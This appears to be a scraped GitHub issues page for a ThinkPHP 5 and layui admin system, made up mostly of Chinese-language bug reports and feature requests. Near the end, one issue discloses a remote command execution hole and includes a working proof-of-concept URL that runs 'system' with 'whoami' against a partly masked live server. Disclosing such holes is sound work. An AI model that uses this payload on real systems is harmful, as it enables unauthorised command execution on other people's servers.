xyl-tools / open_source_bms Goto Github PK

我有个疑问，为什么入口文件要放在根目录，这样不会不安全吗？

似乎没咋更新了，支持一下，加油

layui 发布 1.0.6，修复紧急bug、框架瘦身150kb

https://community.apachefriends.org/f/feed.php

在添加权限组页面输入名称后，提交没有反应，
在Console提示”POST http://localhost/index.php/admin/auth_group/save.html 500 (Internal Server Error)“。这是怎么一回事？

如上，有些功能实现用tab显示要方便很多。

另外，在登录页面，如果用户名或密码错误没有登录成功，是否应该跟着自动更新一下验证码呢？现在是登录失败后再次登录就必须要手动刷新验证码，比较麻烦。

没用过tp5,能不能发奋后台模板？？？？

1、更新最新的layui
2、分页bug
3、菜单管理的分页

谢谢博主的分享 。
在添加管理员选择权限组时，由于权限组比较多，下拉之后被父级的div遮挡住了。
这个在靠近底部的下拉框可能都会出现，现在只是把下拉菜单上移其他选项之前才显示全部的选项

什么时间更新啊，我都等不及了。。

http://dyh.fsxy.com/

11

• 我在添加导航时加了个关联栏目的弹窗，
  在加载弹窗的请求中，调用了两次系统公共函数array2level()，
  （/admin/controller/Nav.php文件的构造函数一次，自己写的控制器方法中调用了一次）
  由于这个函数的输出结果$list变量用到了static类型，这样如果在一个请求中多次调用了这个函数，
  最后$list的结果就会包含每次调用该函数的结果

• 在HomeBase.php文件中获取前端导航列表时，getNav()调用array2tree()处理后输出的导航列表顺序会出现不是预期的情况

qq交流群 去哪里找？

Think Admin 1.0

后台演示：http://xiyilou.com/index.php/admin

演示账号：demo demo

Github：https://github.com/xiayulei/think_admin

在apache 上运行正常的 咋ngin上就运行不了

能有个贴吧，或者论坛，或者QQ群么

经过排查，这个文件可能导致后台验证码不显示，里面的代码没有问题，文件本身可能有问题，重新建一个文件把代码复制进去就正常了，不知道这是什么情况，哪位大哥可以解释一下

检查是发现 UeditorUpload.php 文件的问题 $randNum = rand(1, 10000000000) . rand(1, 10000000000); 应该是 $randNum = rand(1, 10000).rand(1, 10000);

该版本提供的源代码：
1）数据库用户名为test 不是demo
2) 登陆界面是纯文字版（很丑），跟演示的demo（登陆界面效果）不一致
3）数据库配置后，一直无法登陆成功，还希望能够把配置简要写一些

建议：提供一份你的演示版的源代码吧，大家都是看了你的演示版才决定研究你的源代码，所以别忽悠大家啊

该更新一下了 加入插件机制 另外后台的栏目是不是有问题 我感觉 一级栏目不应该可以加内容 只有最终的栏目才可以加内容 编辑器更换为百度的吧
而且最终的栏目也不能加子栏目了 再加一个单页
增加一个模板切换 增加一个文章模型

有没有不含tp的，没用过tp5.0

admin.js文件
form.on('select(ajax_change)', function (data) {
$.ajax({
url: data.form.action,
type: data.form.method,
data: $(data.form).serialize(),
success: function (info) {
setTimeout(function () {
location.href = info.url;
}, 1000);
layer.msg(info.msg);
}
});

return false;

});
select 标签 点击后报错 ：TypeError: data.form is undefined 请问我该如何解决 初次用layui望指教。

在菜单管理删除菜单的时候，当该菜单有子菜单时，并不会提示，而是直接删除父菜单，子菜单还在。这样菜单管理里是看不到父菜单和子菜单了，但是权限管理里面还是会有没有删除的子菜单。

/**
* 删除菜单
* @param $id
*/
public function delete($id) {
if ($this->auth_rule_model->destroy($id)) {
$this->success('删除成功');
} else {
$this->error('删除失败');
}
}

目前的删除菜单是这么处理的。

菜单管理就是这么设计的吗？

后台左侧子菜单的active样式是不是根据controller来添加的，我现在遇到一个问题：后台一个父菜单下面有三个子菜单，是同一个controller下面三个不同的action，现在点击激活其中一个action，css会自动给另外两个action加active样式，这样看上去就是同时激活了三个action。不知道能否改成根据action来添加active样式。

管理员编辑的时候，所属权限组显示不全（应该是外层div没有撑开。）没想到咋弄。

The RCE(Remote Command Execution) vulnerability is triggered by a http request.Successfully executed the command "whoami".
poc:
http://58.82.XXX.XXX:8080/public//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

这个项目上传文件部分出现报错，但是在你的网站上是好的，
报的错误是：请对上传接口返回JSON字符；这个要怎么处理